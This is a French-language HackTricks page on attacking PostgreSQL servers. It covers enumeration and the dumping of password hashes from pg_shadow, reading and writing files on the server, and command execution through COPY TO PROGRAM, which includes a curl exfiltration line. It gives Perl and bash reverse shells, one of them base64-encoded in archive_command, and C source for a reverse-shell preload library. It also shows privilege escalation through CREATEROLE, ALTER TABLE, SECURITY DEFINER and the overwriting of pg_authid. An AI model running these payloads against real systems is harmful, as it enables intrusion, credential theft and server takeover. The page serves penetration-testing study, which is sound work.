# 5432,5433 - Pentesting Postgresql {{#include ../banners/hacktricks-training.md}} ## **Informations de base** **PostgreSQL** est décrit comme un **système de base de données objet-relationnel** qui est **open source**. Ce système utilise non seulement le langage SQL mais l'améliore également avec des fonctionnalités supplémentaires. Ses capacités lui permettent de gérer une large gamme de types de données et d'opérations, ce qui en fait un choix polyvalent pour les développeurs et les organisations. **Port par défaut :** 5432, et si ce port est déjà utilisé, il semble que postgresql utilisera le port suivant (probablement 5433) qui n'est pas utilisé. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` ## Connexion & Enumération de base ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection psql -h -p -U -W # Remote connection ``` ```sql psql -h localhost -d -U #Password will be prompted \list # List databases \c # use the database \d # List tables \du+ # Get users roles # Get current user SELECT user; # Get current database SELECT current_catalog; # List schemas SELECT schema_name,schema_owner FROM information_schema.schemata; \dn+ #List databases SELECT datname FROM pg_database; #Read credentials (usernames + pwd hash) SELECT usename, passwd from pg_shadow; # Get languages SELECT lanname,lanacl FROM pg_language; # Show installed extensions SHOW rds.extensions; SELECT * FROM pg_extension; # Get history of commands executed \s ``` > [!WARNING] > Si en exécutant **`\list`** vous trouvez une base de données appelée **`rdsadmin`**, vous savez que vous êtes à l'intérieur d'une **base de données PostgreSQL AWS**. Pour plus d'informations sur **comment abuser d'une base de données PostgreSQL**, consultez : {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/ {{#endref}} ## Énumération Automatique ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**Brute force**](../generic-hacking/brute-force.md#postgresql) ### **Analyse de port** Selon [**cette recherche**](https://www.exploit-db.com/papers/13084), lorsqu'une tentative de connexion échoue, `dblink` lance une exception `sqlclient_unable_to_establish_sqlconnection` incluant une explication de l'erreur. Des exemples de ces détails sont listés ci-dessous. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10'); ``` - L'hôte est hors ligne `DETAIL: impossible de se connecter au serveur : Pas de route vers l'hôte Le serveur fonctionne-t-il sur l'hôte "1.2.3.4" et accepte-t-il les connexions TCP/IP sur le port 5678 ?` - Le port est fermé ``` DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` - Le port est ouvert ``` DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` ou ``` DETAIL: FATAL: password authentication failed for user "name" ``` - Le port est ouvert ou filtré ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir des détails sur les exceptions. Cependant, si vous avez un accès direct au serveur PostgreSQL, vous pouvez récupérer les informations nécessaires. Si l'extraction des noms d'utilisateur et des mots de passe des tables système n'est pas réalisable, vous pouvez envisager d'utiliser la méthode d'attaque par liste de mots discutée dans la section précédente, car elle pourrait potentiellement donner des résultats positifs. ## Énumération des privilèges ### Rôles | Types de rôle | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Le rôle a des privilèges de superutilisateur | | rolinherit | Le rôle hérite automatiquement des privilèges des rôles dont il est membre | | rolcreaterole | Le rôle peut créer d'autres rôles | | rolcreatedb | Le rôle peut créer des bases de données | | rolcanlogin | Le rôle peut se connecter. C'est-à-dire que ce rôle peut être donné comme identifiant d'autorisation de session initiale | | rolreplication | Le rôle est un rôle de réplication. Un rôle de réplication peut initier des connexions de réplication et créer et supprimer des slots de réplication. | | rolconnlimit | Pour les rôles qui peuvent se connecter, cela définit le nombre maximum de connexions simultanées que ce rôle peut établir. -1 signifie pas de limite. | | rolpassword | Pas le mot de passe (se lit toujours comme `********`) | | rolvaliduntil | Date d'expiration du mot de passe (utilisé uniquement pour l'authentification par mot de passe) ; null si pas d'expiration | | rolbypassrls | Le rôle contourne chaque politique de sécurité au niveau des lignes, voir [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) pour plus d'informations. | | rolconfig | Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution | | oid | ID du rôle | #### Groupes intéressants - Si vous êtes membre de **`pg_execute_server_program`**, vous pouvez **exécuter** des programmes - Si vous êtes membre de **`pg_read_server_files`**, vous pouvez **lire** des fichiers - Si vous êtes membre de **`pg_write_server_files`**, vous pouvez **écrire** des fichiers > [!TIP] > Notez que dans Postgres, un **utilisateur**, un **groupe** et un **rôle** sont **les mêmes**. Cela dépend simplement de **comment vous l'utilisez** et si vous **permettez la connexion**. ```sql # Get users roles \du #Get users roles & groups # r.rolpassword # r.rolconfig, SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit, r.rolvaliduntil, r.oid, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; # Check if current user is superiser ## If response is "on" then true, if "off" then false SELECT current_setting('is_superuser'); # Try to grant access to groups ## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section) GRANT pg_execute_server_program TO "username"; GRANT pg_read_server_files TO "username"; GRANT pg_write_server_files TO "username"; ## You will probably get this error: ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role. # Create new role (user) as member of a role (group) CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; ## Common error ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role. ``` ### Tables ```sql # Get owners of tables select schemaname,tablename,tableowner from pg_tables; ## Get tables where user is owner select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres'; # Get your permissions over tables SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; #Check users privileges over a table (pg_shadow on this example) ## If nothing, you don't have any permission SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow'; ``` ### Fonctions ```sql # Interesting functions are inside pg_catalog \df * #Get all \df *pg_ls* #Get by substring \df+ pg_read_binary_file #Check who has access # Get all functions of a schema \df pg_catalog.* # Get all functions of a schema (pg_catalog in this case) SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name WHERE routines.specific_schema='pg_catalog' ORDER BY routines.routine_name, parameters.ordinal_position; # Another aparent option SELECT * FROM pg_proc; ``` ## Actions sur le système de fichiers ### Lire des répertoires et des fichiers À partir de ce [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), les membres du groupe défini **`DEFAULT_ROLE_READ_SERVER_FILES`** (appelé **`pg_read_server_files`**) et les **super utilisateurs** peuvent utiliser la méthode **`COPY`** sur n'importe quel chemin (consultez `convert_and_check_filename` dans `genfile.c`) : ```sql # Read file CREATE TABLE demo(t text); COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` > [!WARNING] > N'oubliez pas que si vous n'êtes pas super utilisateur mais que vous avez les permissions **CREATEROLE**, vous pouvez **vous ajouter en tant que membre de ce groupe :** > > ```sql > GRANT pg_read_server_files TO username; > ``` > > [**Plus d'infos.**](pentesting-postgresql.md#privilege-escalation-with-createrole) Il existe **d'autres fonctions postgres** qui peuvent être utilisées pour **lire un fichier ou lister un répertoire**. Seuls les **super utilisateurs** et **les utilisateurs avec des permissions explicites** peuvent les utiliser : ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres ## If you don't do this, you might get "permission denied" error even if you have permission select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd', 0, 1000000); select * from pg_read_binary_file('/etc/passwd'); # Check who has permissions \df+ pg_ls_dir \df+ pg_read_file \df+ pg_read_binary_file # Try to grant permissions GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username; # By default you can only access files in the datadirectory SHOW data_directory; # But if you are a member of the group pg_read_server_files # You can access any file, anywhere GRANT pg_read_server_files TO username; # Check CREATEROLE privilege escalation ``` Vous pouvez trouver **plus de fonctions** dans [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) ### Écriture de Fichiers Simple Seuls les **super utilisateurs** et les membres de **`pg_write_server_files`** peuvent utiliser copy pour écrire des fichiers. ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` > [!WARNING] > N'oubliez pas que si vous n'êtes pas super utilisateur mais que vous avez les permissions **`CREATEROLE`**, vous pouvez **vous rendre membre de ce groupe :** > > ```sql > GRANT pg_write_server_files TO username; > ``` > > [**Plus d'infos.**](pentesting-postgresql.md#privilege-escalation-with-createrole) N'oubliez pas que COPY ne peut pas gérer les caractères de nouvelle ligne, donc même si vous utilisez un payload base64, **vous devez envoyer une ligne unique**.\ Une limitation très importante de cette technique est que **`copy` ne peut pas être utilisé pour écrire des fichiers binaires car cela modifie certaines valeurs binaires.** ### **Téléchargement de fichiers binaires** Cependant, il existe **d'autres techniques pour télécharger de gros fichiers binaires :** {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} ### Mise à jour des données de la table PostgreSQL via l'écriture de fichiers locaux Si vous avez les permissions nécessaires pour lire et écrire des fichiers sur le serveur PostgreSQL, vous pouvez mettre à jour n'importe quelle table sur le serveur en **écrasant le nœud de fichier associé** dans [le répertoire de données PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Plus sur cette technique** [**ici**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). Étapes requises : 1. Obtenez le répertoire de données PostgreSQL ```sql SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` **Remarque :** Si vous ne parvenez pas à récupérer le chemin du répertoire de données actuel à partir des paramètres, vous pouvez interroger la version majeure de PostgreSQL via la requête `SELECT version()` et essayer de forcer le chemin. Les chemins de répertoire de données courants sur les installations Unix de PostgreSQL sont `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Un nom de cluster courant est `main`. 2. Obtenez un chemin relatif vers le nœud de fichier, associé à la table cible ```sql SELECT pg_relation_filepath('{TABLE_NAME}') ``` Cette requête devrait retourner quelque chose comme `base/3/1337`. Le chemin complet sur le disque sera `$DATA_DIRECTORY/base/3/1337`, c'est-à-dire `/var/lib/postgresql/13/main/base/3/1337`. 3. Téléchargez le nœud de fichier via les fonctions `lo_*` ```sql SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` 4. Obtenez le type de données, associé à la table cible ```sql SELECT STRING_AGG( CONCAT_WS( ',', attname, typname, attlen, attalign ), ';' ) FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{TABLE_NAME}'; ``` 5. Utilisez l'[éditeur de nœud de fichier PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) pour [éditer le nœud de fichier](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users) ; définissez tous les drapeaux booléens `rol*` sur 1 pour des permissions complètes. ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` ![Démo de l'éditeur de nœud de fichier PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) 6. Ré-upload le nœud de fichier édité via les fonctions `lo_*`, et écrasez le fichier original sur le disque ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') ``` 7. _(Optionnel)_ Effacez le cache de la table en mémoire en exécutant une requête SQL coûteuse ```sql SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` 8. Vous devriez maintenant voir les valeurs de la table mises à jour dans PostgreSQL. Vous pouvez également devenir superadmin en éditant la table `pg_authid`. **Voir** [**la section suivante**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). ## RCE ### **RCE pour programme** Depuis [la version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), seuls les **super utilisateurs** et les membres du groupe **`pg_execute_server_program`** peuvent utiliser copy pour RCE (exemple avec exfiltration : ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` Exemple d'exécution : ```bash #PoC DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; #Reverse shell #Notice that in order to scape a single quote you need to put 2 single quotes COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` > [!WARNING] > N'oubliez pas que si vous n'êtes pas super utilisateur mais que vous avez les permissions **`CREATEROLE`**, vous pouvez **vous rendre membre de ce groupe :** > > ```sql > GRANT pg_execute_server_program TO username; > ``` > > [**Plus d'infos.**](pentesting-postgresql.md#privilege-escalation-with-createrole) Ou utilisez le module `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\ Plus d'informations sur cette vulnérabilité [**ici**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Bien que signalé comme CVE-2019-9193, Postges a déclaré que c'était une [fonctionnalité et ne sera pas corrigé](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE avec les langages PostgreSQL {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md {{#endref}} ### RCE avec les extensions PostgreSQL Une fois que vous avez **appris** dans le post précédent **comment télécharger des fichiers binaires**, vous pourriez essayer d'obtenir **RCE en téléchargeant une extension postgresql et en la chargeant**. {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md {{#endref}} ### Fichier de configuration PostgreSQL RCE > [!TIP] > Les vecteurs RCE suivants sont particulièrement utiles dans des contextes SQLi contraints, car toutes les étapes peuvent être effectuées via des instructions SELECT imbriquées. Le **fichier de configuration** de PostgreSQL est **écrivable** par l'**utilisateur postgres**, qui est celui qui exécute la base de données, donc en tant que **superutilisateur**, vous pouvez écrire des fichiers dans le système de fichiers, et par conséquent, vous pouvez **écraser ce fichier.** ![](<../images/image (322).png>) #### **RCE avec ssl_passphrase_command** Plus d'informations [sur cette technique ici](https://pulsesecurity.co.nz/articles/postgres-sqli). Le fichier de configuration a certains attributs intéressants qui peuvent mener à RCE : - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Chemin vers la clé privée de la base de données - `ssl_passphrase_command = ''` Si le fichier privé est protégé par un mot de passe (chiffré), postgresql **exécutera la commande indiquée dans cet attribut**. - `ssl_passphrase_command_supports_reload = off` **Si** cet attribut est **activé**, la **commande** exécutée si la clé est protégée par un mot de passe **sera exécutée** lorsque `pg_reload_conf()` est **exécuté**. Ensuite, un attaquant devra : 1. **Extraire la clé privée** du serveur 2. **Chiffrer** la clé privée téléchargée : 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Écraser** 4. **Extraire** la **configuration** actuelle de postgresql 5. **Écraser** la **configuration** avec les attributs mentionnés : 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Exécuter `pg_reload_conf()` En testant cela, j'ai remarqué que cela ne fonctionnera que si le **fichier de clé privée a des privilèges 640**, qu'il est **possédé par root** et par le **groupe ssl-cert ou postgres** (de sorte que l'utilisateur postgres puisse le lire), et qu'il est placé dans _/var/lib/postgresql/12/main_. #### **RCE avec archive_command** **Plus** [**d'informations sur cette config et sur WAL ici**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.** Un autre attribut dans le fichier de configuration qui est exploitable est `archive_command`. Pour que cela fonctionne, le paramètre `archive_mode` doit être `'on'` ou `'always'`. Si c'est vrai, alors nous pourrions écraser la commande dans `archive_command` et forcer son exécution via les opérations WAL (write-ahead logging). Les étapes générales sont : 1. Vérifiez si le mode d'archive est activé : `SELECT current_setting('archive_mode')` 2. Écrasez `archive_command` avec le payload. Par exemple, un shell inversé : `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. Rechargez la config : `SELECT pg_reload_conf()` 4. Forcez l'opération WAL à s'exécuter, ce qui appellera la commande d'archive : `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` pour certaines versions de Postgres #### **RCE avec des bibliothèques préchargées** Plus d'informations [sur cette technique ici](https://adeadfed.com/posts/postgresql-select-only-rce/). Ce vecteur d'attaque tire parti des variables de configuration suivantes : - `session_preload_libraries` -- bibliothèques qui seront chargées par le serveur PostgreSQL lors de la connexion du client. - `dynamic_library_path` -- liste des répertoires où le serveur PostgreSQL recherchera les bibliothèques. Nous pouvons définir la valeur de `dynamic_library_path` sur un répertoire, écrivable par l'utilisateur `postgres` exécutant la base de données, par exemple, le répertoire `/tmp/`, et y télécharger un objet `.so` malveillant. Ensuite, nous forcerons le serveur PostgreSQL à charger notre bibliothèque nouvellement téléchargée en l'incluant dans la variable `session_preload_libraries`. Les étapes de l'attaque sont : 1. Télécharger le `postgresql.conf` original 2. Inclure le répertoire `/tmp/` dans la valeur de `dynamic_library_path`, par exemple `dynamic_library_path = '/tmp:$libdir'` 3. Inclure le nom de la bibliothèque malveillante dans la valeur de `session_preload_libraries`, par exemple `session_preload_libraries = 'payload.so'` 4. Vérifiez la version majeure de PostgreSQL via la requête `SELECT version()` 5. Compiler le code de la bibliothèque malveillante avec le bon package de développement PostgreSQL Exemple de code : ```c #include #include #include #include #include #include #include #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif void _init() { /* code pris de https://www.revshells.com/ */ int port = REVSHELL_PORT; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/bash", NULL}; execve("/bin/bash", argv, NULL); } ``` Compilation du code : ```bash gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` 6. Téléchargez le `postgresql.conf` malveillant, créé dans les étapes 2-3, et écrasez l'original 7. Téléchargez le `payload.so` de l'étape 5 dans le répertoire `/tmp` 8. Rechargez la configuration du serveur en redémarrant le serveur ou en invoquant la requête `SELECT pg_reload_conf()` 9. Lors de la prochaine connexion à la DB, vous recevrez la connexion de shell inversé. ## **Postgres Privesc** ### Privesc CREATEROLE #### **Grant** Selon les [**docs**](https://www.postgresql.org/docs/13/sql-grant.html) : _Les rôles ayant le privilège **`CREATEROLE`** peuvent **accorder ou révoquer l'appartenance à tout rôle** qui **n'est pas** un **superutilisateur**._ Donc, si vous avez la permission **`CREATEROLE`**, vous pourriez vous accorder l'accès à d'autres **rôles** (qui ne sont pas superutilisateurs) qui peuvent vous donner la possibilité de lire et d'écrire des fichiers et d'exécuter des commandes : ```sql # Access to execute commands GRANT pg_execute_server_program TO username; # Access to read files GRANT pg_read_server_files TO username; # Access to write files GRANT pg_write_server_files TO username; ``` #### Modifier le mot de passe Les utilisateurs avec ce rôle peuvent également **changer** les **mots de passe** d'autres **non-superutilisateurs** : ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc to SUPERUSER Il est assez courant de constater que **les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe**. Par conséquent, une fois que vous avez obtenu **les permissions d'exécuter du code**, vous pouvez abuser de ces permissions pour vous accorder le rôle **`SUPERUSER`** : ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` > [!TIP] > Cela est généralement possible en raison des lignes suivantes dans le fichier **`pg_hba.conf`** : > > ```bash > # "local" est uniquement pour les connexions par socket de domaine Unix > local all all trust > # Connexions locales IPv4 : > host all all 127.0.0.1/32 trust > # Connexions locales IPv6 : > host all all ::1/128 trust > ``` ### **ALTER TABLE privesc** Dans [**ce rapport**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities), il est expliqué comment il a été possible de **privesc** dans Postgres GCP en abusant du privilège ALTER TABLE qui a été accordé à l'utilisateur. Lorsque vous essayez de **faire un autre utilisateur propriétaire d'une table**, vous devriez obtenir une **erreur** empêchant cela, mais apparemment GCP a donné cette **option à l'utilisateur postgres non superutilisateur** dans GCP :
En joignant cette idée au fait que lorsque les commandes **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) sont exécutées sur une **table avec une fonction d'index**, la **fonction** est **appelée** dans le cadre de la commande avec les **permissions** du **propriétaire de la table**. Il est possible de créer un index avec une fonction et de donner des permissions de propriétaire à un **super utilisateur** sur cette table, puis d'exécuter ANALYZE sur la table avec la fonction malveillante qui sera capable d'exécuter des commandes car elle utilise les privilèges du propriétaire. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` #### Exploitation 1. Commencez par créer une nouvelle table. 2. Insérez du contenu non pertinent dans la table pour fournir des données à la fonction d'index. 3. Développez une fonction d'index malveillante contenant un payload d'exécution de code, permettant l'exécution de commandes non autorisées. 4. ALTER le propriétaire de la table à "cloudsqladmin," qui est le rôle superutilisateur de GCP utilisé exclusivement par Cloud SQL pour gérer et maintenir la base de données. 5. Effectuez une opération ANALYZE sur la table. Cette action oblige le moteur PostgreSQL à passer au contexte utilisateur du propriétaire de la table, "cloudsqladmin." Par conséquent, la fonction d'index malveillante est appelée avec les permissions de "cloudsqladmin," permettant ainsi l'exécution de la commande shell précédemment non autorisée. Dans PostgreSQL, ce flux ressemble à ceci : ```sql CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text); INSERT INTO temp_table VALUES ('dummy content'); /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';'; CREATE INDEX index_malicious ON public.temp_table (suid_function(data)); ALTER TABLE temp_table OWNER TO cloudsqladmin; /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';'; ANALYZE public.temp_table; ``` Ensuite, la table `shell_commands_results` contiendra la sortie du code exécuté : ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Connexion locale Certaines instances postgresql mal configurées pourraient permettre la connexion de n'importe quel utilisateur local, il est possible de se connecter localement depuis 127.0.0.1 en utilisant la **`dblink` function**: ```sql \du * # Get Users \l # Get databases SELECT * FROM dblink('host=127.0.0.1 port=5432 user=someuser password=supersecret dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` > [!WARNING] > Notez que pour que la requête précédente fonctionne, **la fonction `dblink` doit exister**. Si ce n'est pas le cas, vous pouvez essayer de la créer avec > > ```sql > CREATE EXTENSION dblink; > ``` Si vous avez le mot de passe d'un utilisateur avec plus de privilèges, mais que l'utilisateur n'est pas autorisé à se connecter depuis une IP externe, vous pouvez utiliser la fonction suivante pour exécuter des requêtes en tant que cet utilisateur : ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` Il est possible de vérifier si cette fonction existe avec : ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Fonction définie sur mesure avec** SECURITY DEFINER [**Dans cet article**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), les pentesters ont pu obtenir des privilèges à l'intérieur d'une instance postgres fournie par IBM, car ils **ont trouvé cette fonction avec le drapeau SECURITY DEFINER** : 
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Comme [**expliqué dans la documentation**](https://www.postgresql.org/docs/current/sql-createfunction.html), une fonction avec **SECURITY DEFINER est exécutée** avec les privilèges de l'**utilisateur qui la possède**. Par conséquent, si la fonction est **vulnérable à l'injection SQL** ou effectue des **actions privilégiées avec des paramètres contrôlés par l'attaquant**, elle pourrait être exploitée pour **escalader les privilèges à l'intérieur de postgres**. Dans la ligne 4 du code précédent, vous pouvez voir que la fonction a le drapeau **SECURITY DEFINER**. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` Et ensuite, **exécutez des commandes** :
### Brute-force de mot de passe avec PL/pgSQL **PL/pgSQL** est un **langage de programmation complet** qui offre un meilleur contrôle procédural par rapport à SQL. Il permet l'utilisation de **boucles** et d'autres **structures de contrôle** pour améliorer la logique du programme. De plus, les **instructions SQL** et les **déclencheurs** ont la capacité d'invoquer des fonctions créées à l'aide du **langage PL/pgSQL**. Cette intégration permet une approche plus complète et polyvalente de la programmation et de l'automatisation des bases de données.\ **Vous pouvez abuser de ce langage pour demander à PostgreSQL de brute-forcer les identifiants des utilisateurs.** {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md {{#endref}} ### Privesc en écrasant les tables internes de PostgreSQL > [!TIP] > Le vecteur de privesc suivant est particulièrement utile dans des contextes SQLi contraints, car toutes les étapes peuvent être effectuées via des instructions SELECT imbriquées. Si vous pouvez **lire et écrire des fichiers du serveur PostgreSQL**, vous pouvez **devenir un superutilisateur** en écrasant le filenode sur disque de PostgreSQL, associé à la table interne `pg_authid`. Lisez-en plus sur **cette technique** [**ici**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.** Les étapes de l'attaque sont : 1. Obtenez le répertoire de données PostgreSQL 2. Obtenez un chemin relatif vers le filenode, associé à la table `pg_authid` 3. Téléchargez le filenode via les fonctions `lo_*` 4. Obtenez le type de données, associé à la table `pg_authid` 5. Utilisez l'[Éditeur de Filenode PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) pour [éditer le filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table) ; définissez tous les drapeaux booléens `rol*` à 1 pour des permissions complètes. 6. Ré-uploadez le filenode édité via les fonctions `lo_*`, et écrasez le fichier original sur le disque 7. _(Optionnel)_ Effacez le cache de la table en mémoire en exécutant une requête SQL coûteuse 8. Vous devriez maintenant avoir les privilèges d'un superadmin complet. ## **POST** ``` msf> use auxiliary/scanner/postgres/postgres_hashdump msf> use auxiliary/scanner/postgres/postgres_schemadump msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` ### logging Dans le fichier _**postgresql.conf**_, vous pouvez activer les journaux postgresql en changeant : ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' logging_collector = on sudo service postgresql restart #Find the logs in /var/lib/postgresql//main/log/ #or in /var/lib/postgresql//main/pg_log/ ``` Ensuite, **redémarrez le service**. ### pgadmin [pgadmin](https://www.pgadmin.org) est une plateforme d'administration et de développement pour PostgreSQL.\ Vous pouvez trouver des **mots de passe** à l'intérieur du fichier _**pgadmin4.db**_\ Vous pouvez les déchiffrer en utilisant la fonction _**decrypt**_ à l'intérieur du script : [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" sqlite3 